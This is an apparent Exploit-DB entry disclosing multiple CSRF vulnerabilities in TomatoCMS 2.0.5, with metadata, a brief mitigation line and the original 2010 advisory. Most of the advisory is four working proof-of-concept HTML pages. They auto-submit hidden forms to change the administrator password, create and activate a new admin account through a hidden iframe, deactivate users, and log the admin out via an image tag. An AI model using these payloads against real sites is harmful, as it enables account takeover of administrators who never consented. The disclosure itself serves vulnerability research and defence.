TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities

vendor:

TomatoCMS

by:

10n1z3d

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: TomatoCMS

Affected Version From: 2.0.5

Affected Version To: 2.0.5

Patch Exists: NO

Related CWE: N/A

CPE: a:tomatocms:tomatocms:2.0.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities

TomatoCMS 2.0.5 is vulnerable to multiple CSRF attacks. An attacker can exploit these vulnerabilities to change the administrator password and create a new administrator user.

Mitigation:

The application should verify the request origin and use anti-CSRF tokens to prevent such attacks.

Source

Exploit-DB raw data:

<!---
    Title: TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Sun 11 Jul 2010 03:36:08 PM EEST 
    Vendor: http://www.tomatocms.com/
    Download: None
--->

-=[ CSRF PoC 1 - Change Administrator Password ]=-

    <html>
        <head>
            <title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/index.php/admin/core/user/changepass" method="post">
                <!--- Edit these --->
                <input type="hidden" name="password" value="rootroot" />
                <input type="hidden" name="passwordConfirm" value="rootroot" />
            </form>
        </body>
    </html>  
    
-=[ CSRF PoC 2 - Create Admin User ]=-

    <html>
        <head>
            <title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <!--- Submit the first form and delay the second one to make sure the POST request is completed --->
        <body onload="document.csrf1.submit();setTimeout('document.csrf2.submit();',5000);">
            <!--- We need this to submit the forms without redirects --->
            <div style="visibility:hidden">
                <iframe name="ipwn" width="20" height="20"></iframe>
            </div> 
            
            <!--- Creates the user --->
            <form name="csrf1" target="ipwn" action="http://[domain]/index.php/admin/core/user/add" method="post">
                <!--- Edit these --->
                <input type="hidden" name="full_name" value="root" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="email" value="root@root.com"/>
                <input type="hidden" name="password" value="rootroot"/>
                <input type="hidden" name="password2" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="role" value="1" />
            </form>
            
            <!--- Activates the user --->
            <form name="csrf2" target="ipwn" action="http://[domain]/index.php/admin/core/user/activate" method="post">
                <!--- We are not sure about the user id but we can guess :) --->
                <input type="hidden" name="id" value="2" />
                <!--- Do not edit below --->
                <input type="hidden" name="status" value="0" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 3 - Deactivate User ]=-

    <html>
        <head>
            <title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Deactivate User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/index.php/admin/core/user/activate" method="post">
                <!--- Edit this --->
                <input type="hidden" name="id" value="1" />
                <!--- Do not edit below --->
                <input type="hidden" name="status" value="1" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 4 - Logout The Administrator ]=-
    
    <img src="http://[domain]/index.php/core/auth/logout" alt="Do you see this?" />
   
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    irc.evilzone.org  (6697 / 9999)
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